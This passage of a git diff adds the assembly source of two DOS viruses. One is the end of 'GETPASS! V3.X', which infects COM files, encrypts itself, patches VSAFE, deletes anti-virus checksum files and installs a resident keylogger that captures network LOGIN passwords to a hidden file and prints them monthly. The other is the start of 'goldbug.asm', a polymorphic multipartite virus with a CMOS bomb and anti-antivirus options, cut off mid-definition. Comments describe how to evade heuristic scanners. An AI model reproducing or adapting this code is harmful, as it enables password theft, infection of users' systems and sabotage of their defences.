instructions. + MOV CX,3 ;Restore 3 bytes. + REPNZ MOVSB ;Move them. + RET ;Return to caller. +;----------------------------------------------------------------------------- +CHKCOM: MOV CX,05 ;CX=len COMMAND. + MOV DI,[BP+OFFSET NP] ;Offset found file. + LEA SI,[BP+OFFSET COMMND] ;Offset COMMAND. + REPZ CMPSB ;Compare the strings. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RENAME: MOV CX,0Ch ; This section renames the + MOV SI,WORD PTR[BP+OFFSET NP]; found and approved for + LEA DI,WORD PTR[BP+OFFSET NEWNAM]; infection file to a + REPNZ MOVSB ; *.TXT file. The reason for + LEA BX,WORD PTR[BP+OFFSET NEWNAM-1];this is that VPROTECT from +LPOINT: INC BX ; Intel has a rule based NLM. + CMP BYTE PTR[BX],'.' ; If we write to a COM file + JNE LPOINT ; VPROTECT gives an alarm + MOV DI,BX ; message. However, if we + MOV WORD PTR[BP+OFFSET TXTPOI],BX; write to a text file.... + LEA SI,[BP+OFFSET TXT] ; Pretty solution isn't it? + MOVSW ; + MOVSW ; + MOV DX,WORD PTR[BP+OFFSET NP]; + LEA DI,WORD PTR[BP+OFFSET NEWNAM]; + MOV AH,56h ;Rename file function. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RENAME2:LEA SI,[BP+OFFSET SPEC+1] ; In this section we + MOV DI,WORD PTR[BP+OFFSET TXTPOI]; give the infected file + MOVSW ; its old extention back. + MOVSW ; (*.COM) + MOV DX,WORD PTR[BP+OFFSET NP]; + LEA DI,WORD PTR[BP+OFFSET NEWNAM]; + MOV AH,56h ;Rename file function. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +ENKEY: CALL CHKTIME ;Get time. + MOV BYTE PTR[BP+OFFSET VAL_1],DL;New encryption key. + RET ;Return to caller. +;----------------------------------------------------------------------------- +SAVEDIR:MOV BYTE PTR[BP+OFFSET BUFFER],5Ch;Put a slash in DTA. + MOV DL,BYTE PTR[BP+OFFSET OLDRV];Drive code. + INC DL ;DL+1 because functions differ. + MOV AH,47h ;Get current directory. + LEA SI,[BP+OFFSET BUFFER+1] ;Store current directory. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +DTA: MOV AH,2Fh ;Get DTA address. + INT 21h ;Call DOS. + MOV WORD PTR[BP+OFFSET OLD_DTA],BX; Save here. + LEA DX,[BP+OFFSET NEW_DTA] ;Offset new DTA address. + MOV AH,1Ah ;Give up new DTA. + INT 21 ;Call DOS. + ADD DX,1Eh ;Filename pointer in DTA. + MOV WORD PTR[BP+OFFSET NP],DX;Put in name pointer. + RET ;Return to caller. +;----------------------------------------------------------------------------- +INT24: MOV AX,3524h ;Get int 24 handler. + INT 21h ;into [ES:BX]. + MOV WORD PTR[BP+OLDINT],BX ;Save it. + MOV WORD PTR[BP+OLDINT+2],ES; + MOV AH,25h ;Set new int 24 handler. + LEA DX,[BP+OFFSET NEWINT] ;DS:DX->new handler. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RINT24: PUSH DS ;Save data segment. + MOV AX,2524h ;Restore int 24 handler + LDS DX,[BP+OFFSET OLDINT] ;to original. + INT 21h ;Call DOS. + POP DS ;Restore data segment. + RET ;Return to caller. +;----------------------------------------------------------------------------- +VSAFE: MOV AX,3516h ;Get interrupt vector INT 16. + INT 21h ;(Now we know in wich segment it is.) + MOV WORD PTR[BP+OFFSET NINT16],BX; - Store old INT 16 in TSR. + MOV WORD PTR[BP+OFFSET NINT16+2],ES;/ + ADD BX,0364h ;Here we find a jump that w'ill change. + CMP WORD PTR[ES:BX],0945h ;Is it THE jump? + JNE OK_9 ;No, already modified or not resident. + MOV WORD PTR[ES:BX],086Dh ;Yes, modify it. +OK_9: RET ;Return to caller. No Vsafe. +;----------------------------------------------------------------------------- +FIND1: MOV BYTE PTR[BP+OFFSET VAL_2],0FFh; This routine is derivied from + MOV BX,01h ; the VIENNA virus. +FIND2: PUSH ES ;- Save registers. + PUSH DS ;/ + MOV ES,DS:2CH ; + MOV DI,0 ;ES:DI points to environment. +FPATH: LEA SI,[BP+OFFSET PATH] ;Point to "PATH=" string in data area. + LODSB ; + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long. + REPNZ SCASB ;Search for first character. + MOV CX,4 ;Check if path +LOOP_2: LODSB ;is complete. + SCASB ; + JNZ FPATH ;If not all there, abort & start over. + LOOP LOOP_2 ;Loop to check the next character. + XCHG SI,DI ;Exchange registers. + MOV CL,BYTE PTR[BP+OFFSET VAL_2];Random value in CL. + PUSH ES ;\ + POP DS ;-) Get DS, ES on address. + POP ES ;/ +OK_14: LEA DI,[BP+OFFSET NEW_DTA+50];Offset address path. +OK_10: MOVSB ;Get name in path. + MOV AL,[SI] ; + CMP AL,0 ;Is it at the end? + JE OK_11 ;Yes, replicate. + CMP AL,3Bh ;Is it ';'? + JNE OK_10 ;Nope, next letter. + INC SI ;For next loop. ';'=';'+1. + INC BX ; + LOOP OK_14 ;Loop until random value = 0. +OK_11: POP DS ;Restore data segment. + MOV AL,0 ;Place space after the directory. + MOV [DI],AL ; + RET ;Return to caller. +;----------------------------------------------------------------------------- +DELSTUF:MOV BX,01h ;Set counter + PUSH BX ;and push it. + LEA DX,[BP+OFFSET MICRO] ;Is there a CHKLIST.MS file? + JMP INTER ;Check it out. +SECOND: LEA DX,[BP+OFFSET TBAV] ;Is there a ANTI-VIR.DAT file? + INC BX ;Increase counter + PUSH BX ;and push it. + JMP INTER ;Check it out. +THIRD: LEA DX,[BP+OFFSET CENTRAL] ;Is there a CHKLIST.CPS file? + INC BX ;Increase counter + PUSH BX ;and push it +INTER: MOV AH,4Eh ;Find first matching entry. + MOV CX,110b ;Search all attributes. + INT 21h ;Call DOS. + JC NODEL ;No match, find next. + CALL ATTRIB ;Clear attributes. + MOV AH,41h ;Delete file. + INT 21h ;Call DOS. +NODEL: POP BX ;Pop counter. + CMP BX,01 ;Had the first one? + JE SECOND ;Yes, do the second. + CMP BX,02 ;Was it the second? + JE THIRD ;Yes, do the third. + RET ;Finished, return to caller. +;----------------------------------------------------------------------------- +CHDRIVE:MOV CX,0FFFFh ;Clear CX. + MOV BL,'A'-1 ;AH=40 +OK_15: INC BL ;AH=41='A' + INC CX ;CX=1 + CMP BL,BYTE PTR[BP+OFFSET NEW_DTA+50];New drive letter. + JNE OK_15 ;Not the same, go again. + MOV DL,CL ;Calculated the new drive code. + MOV AH,0Eh ;Give up new drive code. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RTIME: MOV AX,5701h ;Restore time & date. + MOV CX,WORD PTR[BP+OFFSET TIME];Old time. + MOV DX,WORD PTR[BP+OFFSET DATE];Old date. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +STIME: MOV AX,5700h ;Get file date & time. + MOV BX,[BP+OFFSET HANDLE] ;File Handle. + INT 21h ;Call DOS. + MOV WORD PTR[BP+OFFSET TIME],CX;Store time. + MOV WORD PTR[BP+OFFSET DATE],DX;Store date. + RET ;Return to caller. +;----------------------------------------------------------------------------- +BPOINT: XOR DX,DX ;Zero register. + MOV AX,4202h ;Move file pointer to top. + XOR CX,CX ;Zero register. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +ACTIVE: PUSH DS ;Save register. + INT 17h ;Check for NETX. + CMP AH,01h ;NETX resident? + JNE RESID ;Nope, do not install TSR. + CALL CREATE ;If not exsists, create password file. + CALL TIMER ;Time to print the password file? + MOV AX,3D3Dh ;Do resident check. + INT 21h ;Call BIOS. + CMP AX,1111h ;Already resident? + JE RESID ;If so, exit. + MOV AX,0044h ;Move code into hole in system + MOV ES,AX ;memory. + MOV DI,0100h ;ES:BX = 0044:0100 + LEA SI,[BP+OFFSET TSR] ;Begin here + MOV CX,TSRLEN ;and this many bytes. + REP MOVSB ;Do it. + MOV DS,CX ;Get original INT 21 vector + MOV SI,0084h ;DS:SI = 0000:0084 + MOV DI,0100h+NINTOF ;Store it in TSR + MOVSW ;One word, + MOVSW ;and another. + PUSH ES ;Restore register. + POP DS ;Restore register + MOV AX,2521h ;Give up new INT 21 vector. + MOV DX,0100h+INTOF ;Offset new INT 21. + INT 21h ;Call DOS. + MOV AX,2516h ;Give up new INT 16 vector. + MOV DX,0100h+INT16L ;Offset new INT 16. + INT 21h ;Call DOS. +RESID: POP DS ;- Restore register. + RET ;Return to caller. +;----------------------------------------------------------------------------- +TSR: DB 0 ; This is THE cool part! +;----------------------------------------------------------------------------- +INT21: CMP AX,4B00h ;Execute? + JE OK_16 ;Yep, do IT ! + CMP AX,3D3Dh ;Resident check? + JNE DO_OLDI ;Nope, do original INT 21. + MOV AX,1111h ;Give up resident FLAG. + IRET ;Return to viral code. +DO_OLDI:JMP DWORD PTR CS:[0100+NINTOF];Do the original INT 21. +OK_16: PUSH BX ;\ + PUSH CX ; \ + PUSH DX ; ) Save registers. + PUSH DS ; / + PUSH ES ;/ + MOV SI,0 ; + MOV BX,DX ;Name pointer into BX. +HERE: CMP BYTE PTR[BX],'.' ;Is it a point? + JE FOLLOW ;Yes, collected the name, cont. + INC BX ;BX+1 + JMP HERE ;Get next character. +FOLLOW: SUB BX,05h ;Because LOGIN is 5 characters. +THERE: MOV AL,BYTE PTR [CS:0100+LOGINL+SI];Char into AL. + CMP BYTE PTR[BX+SI],'.' ;Did we make it until the point? + JE GETPASS ;It is LOGIN, get the password! + XOR AL,DS:[BX+SI] ;(XOR LOGIN,LOGIN) + JZ FOLLOW1 ;If XOR = 0 we have an equal char. + JMP ISNOT ;If not, well execute and do nothing. +FOLLOW1:INC SI ;Next char. + JMP THERE ;And compare again. (we must be shure.) +ISNOT: JMP ENDPARS ;Return to caller. +LOGIN DB 'LOGIN',0 ;Used to compare. +KBFLAG DB 0 ;Keyboard interrupt activation flag. +FNAME DB 'C:\DOS\MSD.INI',0 ;Password file specification. +KEYPTR DW 0 ;Keyboard pointer. +CCOUNT DB 0 ;\ +CRETURN DB 0 ;/ Carriage return counter. +;----------------------------------------------------------------------------- +GETPASS:MOV BYTE PTR[CS:0100+KFLAG],0FFh;Set interrupt 16 flag. + POP ES ;\ + POP DS ; \ + POP DX ; ) Restore registers. + POP CX ; / + POP BX ;/ + PUSH BX ;\ + PUSH CX ; \ + PUSH DX ; ) Save registers. + PUSH DS ; / + PUSH ES ;/ + MOV DS,ES:[BX+04] ;\ Get param.pointer ES:SI + MOV SI,ES:[BX+02] ;/ + PUSH CS ; \ + POP ES ; ) Get keybuff pointer DS:DI + MOV DI,OFFSET[CS:0100+KBUFF]; / + XOR CX,CX ; + MOV CL,BYTE PTR DS:[SI] ;CX IS PARAM.LEN. + INC SI ; + INC SI ; + CMP CL,10h ; + JG ENDPARS ; + CMP CL,00h ;No parameters. + JE BRANCH ; + MOV BYTE PTR[CS:0100+COUCR],01h; +ENDFD: INC CX ; + MOV WORD PTR[CS:0100+KPTR],CX;Set keyb.index op len param. + DEC CX ; + REPNZ MOVSB ; + MOV BYTE PTR ES:[DI-1],CR ; + MOV BYTE PTR ES:[DI],LF ; + JMP ENDPARS ; +BRANCH: MOV BYTE PTR[CS:0100+COUCR],02h; +ENDPARS:POP ES ;\ + POP DS ; \ + POP DX ; ) Restore registers. + POP CX ; / + POP BX ;/ + MOV AX,4B00h ; + JMP DWORD PTR CS:[0100+NINTOF];Do the original INT 21. +PARAM DB 0 ; +;----------------------------------------------------------------------------- +INT16: CMP BYTE PTR[CS:0100+KFLAG],0FFh;Is it login.? + JE NEXTCHK ; Yes! Get the password! +THE_END:JMP DWORD PTR[CS:0100+OLD16L];Nope, do old INT 16. +NEXTCHK:CMP AH,00h ; Keyboard funtion call? + JE TAKCHAR ; Yes, continue. + CMP AH,10h ; Keyboard function call? + JNE THE_END ; +TAKCHAR:PUSHF ;Push flag register. + CALL DWORD PTR[CS:0100+OLD16L];Call old INT 16. + PUSH DS ;\ + PUSH CS ; \ + POP DS ; \ + PUSH AX ; ) Save regs and set DS + PUSH BX ; / + PUSH CX ; / + PUSH DX ;/ + CMP AL,00H ; No key typed + JE RESREGS ; + MOV BX,WORD PTR[CS:0100+KPTR]; Keybuf index + CMP BX,001Bh ; Max. length of kbuff. + JGE RESREGS ; End int16 + CMP AL,CR ; If key = + JE COUNTCR ; +BACK: MOV BYTE PTR[CS:0100+KBUFF+BX],AL; Copy char into KBuffer + INC BX ; + MOV WORD PTR[CS:0100+KPTR],BX; +RESREGS:POP DX ;\ + POP CX ; \ + POP BX ; ) Restore regs. + POP AX ; / + POP DS ;/ + IRET ; Return +COUNTCR:MOV AL,LF ;Line feed into AL. + DEC BYTE PTR[CS:0100+COUCR] ;Decrease CR counter. + CMP BYTE PTR[CS:0100+COUCR],00h;Is it zero? + JE OVER_2 ;Nope, continue logging. + MOV BYTE PTR[CS:0100+KBUFF+BX],CR; Copy char into KBuffer + INC BX ; + MOV WORD PTR[CS:0100+KPTR],BX; + MOV AL,LF ; + JMP BACK ; +OVER_2: MOV AL,CR ;CR into AL. + MOV BYTE PTR[CS:0100+KBUFF+BX],AL;Copy CR into KBuffer. + INC BX ;Increase buffercounter. + MOV BYTE PTR[CS:0100+KBUFF+BX],LF;Copy char into KBuffer. + INC BX ;Increase buffercounter. + MOV BYTE PTR[CS:0100+KBUFF+BX],LF;Copy char into KBuffer. + CALL WFILE ;Write buffer to the logfile. + MOV BYTE PTR[CS:0100+KFLAG],00h; + MOV WORD PTR[CS:0100+KPTR],00h; + JMP RESREGS ;Restore registers. +WFILE: PUSH AX ;\ + PUSH BX ; + PUSH DX ; Save registers. + PUSH CX ; + PUSH DS ;/ + PUSH CS ;\ Get Data segment on address. + POP DS ;/ + MOV AX,3D02h ;Open file function. + MOV DX,OFFSET[CS:0100+FN] ;Offset file spec. + INT 21h ;Call DOS. + JC FAILURE ;On error, quit. + XCHG BX,AX ;Into BX. + MOV AX,4202h ;Mov file handle to EOF. + XOR CX,CX ;CX=0 + XOR DX,DX ;DX=0 + INT 21h ;Call DOS. + CMP AX,2000h ;File on max lenght? + JGE FAILURE ;If so, exit. +WRITE: MOV CX,CS:[0100+KPTR] ;BX = keyboard pointer. + ADD CX,03h ;+3. + MOV DX,OFFSET CS:[0100+KBUFF];Offset keyboard buffer. + MOV AH,40h ;Write to file function. + INT 21h ;Call DOS. +FCLOSE: MOV AH,3Eh ;Close file funtion. + INT 21h ;Call DOS. +FAILURE:POP DS ;\ + POP DX ; + POP CX ; Restore registers. + POP BX ; + POP AX ;/ + RET ;Return to caller. +;----------------------------------------------------------------------------- +NINT21: DW 0 ;- Original INT 21 vector. + DW 0 ;/ +NINT16: DW 0 ;- Original INT 16 vector. + DW 0 ;/ +KEYBUFF DB 1dh DUP (?) ;Keyboard buffer. +LASTBYT:DB 0 ;Last Resident Byte. +;----------------------------------------------------------------------------- +ATTRIB: MOV DX,WORD PTR[BP+OFFSET NP];Offset in DTA. + MOV AX,4300h ;Ask file attributes. + INT 21h ;Call DOS. + LEA BX,[BP+OFFSET ATTR] ;Save address for old attributes. + MOV [BX],CX ;Save it. + XOR CX,CX ;Clear file attributes. + MOV AX,4301h ;Write file attributes. + INT 21h ;Call DOS. + JNC OK ;No error, proceed. + CALL EXIT ;Oh Oh, error occured. Quit. +OK: RET ;Return to caller. +;----------------------------------------------------------------------------- +RATTRIB:LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT) + LEA BX,[BP+OFFSET ATTR] ;Offset address old attributes. + MOV CX,[BX] ;Into CX. + MOV AX,4301h ;Write old values back. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +GODIR: LEA DX,[BP+OFFSET NEW_DTA+52];Offset directory spec. + MOV AH,3Bh ;Goto the directory. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +RANDOM: CALL CHKTIME ;Get system time. + MOV CX,0 ;Figure this out by yourself. + MOV AX,100d ;It is a random generator with +OK_19: INC CX ;two variable inputs. + SUB AX,BX ;A: How many dir's in the path. + CMP AX,01d ;B: Random system time. (jiffies) + JGE OK_19 ;With this values, we create a + XOR BX,BX ;random value between 1 and A. +OK_20: INC BX ; + SUB DL,CL ; + CMP DL,01d ; + JGE OK_20 ; + MOV BYTE PTR[BP+OFFSET VAL_2],BL;Save value. + RET ;Return to caller. +;----------------------------------------------------------------------------- +BEGIN1: PUSH SP ; + POP BX ;Everything is related to BP. + MOV BP,WORD PTR[BX] ; + SUB BP,10Fh ;In first run BP=0 + RET ; +;----------------------------------------------------------------------------- +NEWINT: MOV AL,03h ;New INT 24. + IRET ;No more write protect errors! +;----------------------------------------------------------------------------- +TIMER: PUSH DS ;Save data segment. + MOV AX,0044h ;\ + MOV DS,AX ;- DS=resident segment. + CMP BYTE PTR[DS:0100],01h ;Already printed the file? + POP DS ;Restore data segment. + JE NOPRINT ;Yes, once is enough. + MOV AH,2Ah ;Get system date. + INT 21h ;Call DOS. + CMP DL,01h ;Is it the 1st of the month? + JNE NOPRINT ;Nope, don't print the passwords. + MOV AX,3D01h ;Open device PRN (printer) + LEA DX,[BP+OFFSET PRINT] ;Offset spec. + INT 21h ;Call DOS. + MOV DI,AX ;Save handle. + MOV AX,3D00h ;Open Password file. + LEA DX,[BP+OFFSET FNAME] ;File spec. + INT 21h ;Call DOS. + MOV SI,AX ;Save handle. +GOPRINT:MOV AH,3Fh ;Read file function. + MOV BX,SI ;File handle into BX. + MOV CX,01h ;Read one byte. + LEA DX,[BP+OFFSET OUTPUT] ;Into this address. + INT 21h ;Call DOS. + CMP AL,0 ;EOF? + JE READY ;If equal, ready. + MOV AH,40h ;Write to file function. + MOV BX,DI ;File handle into BX. + MOV CX,01h ;Write one byte. + LEA DX,[BP+OFFSET OUTPUT] ;Offset output. + INT 21h ;Call DOS. + JMP GOPRINT ;Next byte. +READY: MOV AH,3Eh ;Close file. + INT 21h ;Call DOS. + PUSH DS ; + MOV AX,0044h ; + mov DS,AX ;Restore data segment. + MOV BYTE PTR[DS:0100],01h ;Already printed the file? + POP DS ; +NOPRINT:RET ;Return to caller. +;----------------------------------------------------------------------------- +INSTSR2:LEA DI,[BP+OFFSET NEW_DTA+0100h];/ + LEA SI,[BP+OFFSET INFECT] ;Offset address infection routine. + MOV CX,TSR2LEN ;Length to install. + REP MOVSB ;Install it. + MOV AX,25D0h ;Give up new INT D0 vector. + LEA DX,[BP+OFFSET NEW_DTA+0100h]; + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +PRINT DB 'PRN',0 ;Device=printer. +PATH DB 'PATH=' ;Used to find environment. +SPEC DB '*.COM',0 ;File search specification. +TXT DB '.TXT',0 ;Rename file specification. +OUTPUT DB 0 ;Output byte to printer. +TXTPOI DW 0 ;Pointer in specification. +MARK1 DB 0 ;Used for infection check. +VAL_2 DB 0 ;Random value for directory switching. +OLDRV DB 0 ;Old drive code. +BYTES DB 'TBDRVX',0 ; +COMMND DB 'COMM',0 ; +MICRO DB 'CHKLIST.MS',0 ;- Files to be deleted. +CENTRAL DB 'CHKLIST.CPS',0 ;/ +TBAV DB 'ANTI-VIR.DAT',0 ;/ +VIRNAME DB 'GETPASS! V3.X',0 ; +BEGIN2 DW 0 ; +NWJMP1 DB 0EBh,0 ; +FLAGT DB 0 ; +OLD_DTA DW 0 ;Old DTA addres. +HANDLE DW 0 ;File handle. +TIME DB 2 DUP (?) ;File time. +DATE DB 2 DUP (?) ;File date. +ATTR DB 1 DUP (?),0 ;Attributes. +NEWJMP DB 0E9h,0,0 ;Jump replacement. +ORIGNL DB 0CDh,020h,090h ;Original instrucitons. +DEXIT DB 0CDh,020h,090h ;Dummy exit instructions. +NEWNAM DB 0Dh DUP (?) ;New file name. +OLDINT DW 0 ;Old INT 24 vector. +NP DW ? ;New DTA address. +;----------------------------------------------------------------------------- +INFECT: PUSH BX ;Save file handle. + PUSH DX ;Save encryption key. + PUSH BX ;Save file handle. + CALL ENCRYPT ;Encrypt the virus code. + POP BX ;Restore file handle. + LEA DX,[BP+OFFSET VSTART] ;Begin here. + MOV CX,VIRLEN ;Write this many Bytes. + MOV AH,40h ;Write to file. + INT 21h ;Call DOS. + POP DX ;Restore encryption value. + CALL ENCRYPT ;Fix up the mess. + POP BX ;Restore file handle. +DUMMY: IRET ;Return to caller. +;----------------------------------------------------------------------------- +CREATE: MOV AH,5Bh ;Create file function. + LEA DX,[BP+OFFSET FNAME] ;Offset file spec. + MOV CX,0 ;Normal attributes. + INT 21h ;Call DOS. + JC EXISTS ;File already excists, do the rest. + XCHG AX,BX ;File handle into BX. + MOV CX,INTRO ;Lenght of intro. + LEA DX,[BP+OFFSET INAME] ;Offset text. + MOV AH,40h ;Write to file function. + INT 21h ;Call DOS. +EXISTS: RET ;Return to caller. +INAME: DB 'You are now looking at the name/passwords of ' + DB 'your network! ',CR,LF + DB 'Greetings, ThE wEiRd GeNiUs.',CR,LF + DB 'Check your MSD.INI once in a while!',CR,LF,CR,LF +LBIT: DB 0 +;----------------------------------------------------------------------------- +;Comment: From here the code remains UN-encrypted. +;----------------------------------------------------------------------------- +CHKTIME:MOV AH,2Ch ;Get system time. + INT 21h ;Call DOS. + CMP DL,0 ;If zero, + JE CHKTIME ;try again. + RET ;Return to caller. +;----------------------------------------------------------------------------- +CHKDOS: MOV AH,30h ;Get DOS version. + INT 21h ;Call DOS. + RET ;Return to caller. +;----------------------------------------------------------------------------- +VAL_1 DB 00h ;Encryption Value. +;----------------------------------------------------------------------------- +;Encrypting the virus code is not longer the most important thing to do since +;some of the anti-viral software can decrypt and trace the virus code in a +;simulated way. The en/de-cryption routine is almost the only piece of +;code that stays readable and if it is not a polymorphic virus this code +;always stays the same. The only way we can misguide a heuristic +;scanner is to 'tell' it that we are a normal, respectable program. By first +;performing a set of 'normal' instructions we mislead the scanner until it +;stops tracing the program. The result is that the en/decryption routine is +;not discovered. Since there are no other suspicious instructions in the code +;we remain under cover. This is why I used a very simple encryption method. +;----------------------------------------------------------------------------- +ENCRYP: CALL NEXTL ;-Get BP on address. +NEXTL: POP BX ;/ + SUB BX,04 ;[BX]=decryption key. + MOV DL,[BX] ;DL=[BX] + SUB BX,LENGTH ;BX=begin of encrypted code. + CMP DL,0 ;Code Encrypted? + JE NOTENC ;Nope + JMP DECRYPT ;Decrypt. +ENCRYPT:LEA BX,[BP+OFFSET CSTART] ;De/en-crypt from here. +DECRYPT:MOV DH,DL ; + MOV CX,CRYPTLEN ;Set counter. +X_LOOP: XOR [BX],DL ;Xor the code on address BX. + SUB DL,DH ;-To change form of scrambled code. + SUB DH,02Eh ;/ + INC BX ;Increase address. + LOOP X_LOOP ;Repeat until done. +NOTENC: RET ;Return to caller. +;----------------------------------------------------------------------------- +BUFFER: DB 64 DUP (?) ;Here we store directory info. +;----------------------------------------------------------------------------- +NEW_DTA: ;Here we put the DTA copy. +;----------------------------------------------------------------------------- +CODE ENDS +END START +;============================================================================= diff --git a/g/goldbug.asm b/g/goldbug.asm new file mode 100755 index 0000000..e86df69 --- /dev/null +++ b/g/goldbug.asm @@ -0,0 +1,683 @@ +cseg segment para public 'code' +gold_bug proc near +assume cs:cseg + +;----------------------------------------------------------------------------- + +;designed by "Q" the misanthrope. + +;----------------------------------------------------------------------------- + +.186 +TRUE equ 001h +FALSE equ 000h + +;----------------------------------------------------------------------------- + +;option bytes used and where + +DELETE_SCANNERS equ FALSE ; -2 bytes -2 in com_code +CHECK_FOR_8088 equ TRUE ; 4 bytes 4 in com_code +INFECT_RANDOM equ TRUE ; 4 bytes 4 in com_code +CMOS_BOMB equ TRUE ; 4 bytes 4 in com_code +DEFLECT_DELETE equ TRUE ; 5 bytes 5 in com_code +READING_STEALTH equ TRUE ; 5 bytes 5 in com_code +SAME_FILE_DATE equ TRUE ; 24 bytes 24 in com_code +DOUBLE_DECRYPT equ TRUE ; 26 bytes 26 in com_code +EXECUTE_SPAWNED equ TRUE ; 35 bytes 32 in com_code 3 in boot_code +MODEM_CODE equ TRUE ; 40 bytes 29 in com_code 11 in boot_code +ANTI_ANTIVIRUS equ TRUE ; 46 bytes 35 in com_code 11 in boot_code +POLYMORPHIC equ TRUE ; 90 bytes 74 in com_code 16 in boot_code +MULTIPARTITE equ TRUE ;372 bytes 346 in com_code 26 in boot_code + +;----------------------------------------------------------------------------- + +;floppy boot infection + +FLOPPY_1_2M equ 001h +FLOPPY_760K equ 000h +FLOPPY_TYPE equ FLOPPY_1_2M + +;----------------------------------------------------------------------------- + +IFE MULTIPARTITE +DELETE_SCANNERS equ FALSE +CHECK_FOR_8088 equ FALSE +INFECT_RANDOM equ FALSE +DEFLECT_DELETE equ FALSE +READING_STEALTH equ FALSE +SAME_FILE_DATE equ FALSE +EXECUTE_SPAWNED equ FALSE +POLYMORPHIC equ FALSE +ENDIF + +;----------------------------------------------------------------------------- + +SECTOR_SIZE equ 00200h +RES_OFFSET equ 0fb00h +COM_OFFSET equ 00100h +RELATIVE_OFFSET equ RES_OFFSET-COM_OFFSET +PART_OFFSET equ COM_OFFSET+SECTOR_SIZE +BOOT_OFFSET equ 07c00h +RELATIVE_BOOT equ BOOT_OFFSET-PART_OFFSET +LOW_JMP_10 equ 0031ch +LOW_JMP_21 equ 00321h +SAVE_INT_CHAIN equ 0032ch +SCRATCH_AREA equ 08000h +HEADER_SEGMENT equ 00034h +INT_21_IS_NOW equ 0cch +BIOS_INT_13 equ 0c6h +NEW_INT_13_LOOP equ 0cdh +BOOT_SECTOR equ 001h +DESCRIPTOR_OFF equ 015h +IF FLOPPY_TYPE EQ FLOPPY_1_2M +DESCRIPTOR equ 0f909h +OLD_BOOT_SECTOR equ 00eh +COM_CODE_SECTOR equ 00dh +ELSE +DESCRIPTOR equ 0f905h +OLD_BOOT_SECTOR equ 005h +COM_CODE_SECTOR equ 004h +ENDIF +READ_ONLY equ 001h +SYSTEM equ 004h +DELTA_RI equ 004h +DSR equ 020h +CTS equ 010h +CD equ 080h +FAR_JUMP equ 0eah +MIN_FILE_SIZE equ 00500h +PSP_SIZE equ 00100h +VIRGIN_INT_13_A equ 00806h +VIRGIN_INT_13_B equ 007b4h +VIRGIN_INT_2F equ 00706h +FAR_JUMP_OFFSET equ 006h +SET_INT_OFFSET equ 007h +CHANGE_SEG_OFF equ 009h +VIDEO_MODE equ 00449h +MONOCHROME equ 007h +COLOR_VIDEO_MEM equ 0b000h +ADDR_MUL equ 004h +SINGLE_BYTE_INT equ 003h +VIDEO_INT equ 010h +VIDEO_INT_ADDR equ VIDEO_INT*ADDR_MUL +DISK_INT equ 013h +DISK_INT_ADDR equ DISK_INT*ADDR_MUL +SERIAL_INT equ 014h +DOS_INT equ 021h +DOS_INT_ADDR equ DOS_INT*ADDR_MUL +MULTIPLEX_INT equ 02fh +COMMAND_LINE equ 080h +FIRST_FCB equ 05ch +SECOND_FCB equ 06ch +NULL equ 00000h +GET_PORT_STATUS equ 00300h +WRITE_TO_PORT equ 00100h +HD_0_HEAD_0 equ 00080h +READ_A_SECTOR equ 00201h +WRITE_A_SECTOR equ 00301h +GET equ 000h +SET equ 001h +DELETE_W_FCB equ 01300h +DEFAULT_DRIVE equ 000h +GET_DEFAULT_DR equ 01900h +DOS_SET_INT equ 02500h +FILE_DATE_TIME equ 05700h +DENYNONE equ 040h +OPEN_W_HANDLE equ 03d00h +READ_W_HANDLE equ 03f00h +WRITE_W_HANDLE equ 04000h +CLOSE_HANDLE equ 03e00h +UNLINK equ 04100h +FILE_ATTRIBUTES equ 04300h +RESIZE_MEMORY equ 04a00h +QUERY_FREE_HMA equ 04a01h +ALLOCATE_HMA equ 04a02h +EXEC_PROGRAM equ 04b00h +GET_ERROR_LEVEL equ 04d00h +TERMINATE_W_ERR equ 04c00h +RENAME_A_FILE equ 05600h +LSEEK_TO_END equ 04202h +CREATE_NEW_FILE equ 05b00h +RESIDENT_LENGTH equ 068h +PARAMETER_TABLE equ 005f1h +MAX_PATH_LENGTH equ 00080h +EXE_HEADER_SIZE equ 020h +NEW_EXE_HEADER equ 00040h +NEW_EXE_OFFSET equ 018h +PKLITE_SIGN equ 'KP' +PKLITE_OFFSET equ 01eh +NO_OF_COM_PORTS equ 004h +WINDOWS_BEGIN equ 01605h +WINDOWS_END equ 01606h +ERROR_IN_EXE equ 0000bh +IF POLYMORPHIC +FILE_SIGNATURE equ 07081h +XOR_SWAP_OFFSET equ byte ptr ((offset serial_number)-(offset com_code))+TWO_BYTES +FILE_LEN_OFFSET equ byte ptr ((offset serial_number)-(offset com_code))+THREE_BYTES +FIRST_UNDO_OFF equ byte ptr ((offset first_jmp)-(offset com_code)+ONE_BYTE) +SECOND_UNDO_OFF equ byte ptr ((offset second_jmp)-(offset com_code)) +BL_BX_OFFSET equ byte ptr ((offset incbl_incbx)-(offset com_code)) +ROTATED_OFFSET equ byte ptr ((offset rotated_code)-(offset com_code)) +ELSE +FILE_SIGNATURE equ 0070eh +ENDIF +IF MODEM_CODE +STRING_LENGTH equ byte ptr ((offset partition_sig)-(offset string)) +ENDIF +IF EXECUTE_SPAWNED +EXEC_SUBTRACT equ byte ptr ((offset file_name)-(offset exec_table)) +ENDIF +DH_OFFSET equ byte ptr ((offset dh_value )-(offset initialize_boot)+TWO_BYTES) +ONE_NIBBLE equ 004h +ONE_BYTE equ 001h +TWO_BYTES equ 002h +THREE_BYTES equ 003h +FOUR_BYTES equ 004h +FIVE_BYTES equ 005h +FIVE_BITS equ 005h +EIGHT_BYTES equ 008h +USING_HARD_DISK equ 080h +KEEP_CF_INTACT equ 002h +CMOS_CRC_ERROR equ 02eh +CMOS_PORT equ 070h +REMOVE_NOP equ 001h +CR equ 00dh +LF equ 00ah +INT3_INCBX equ 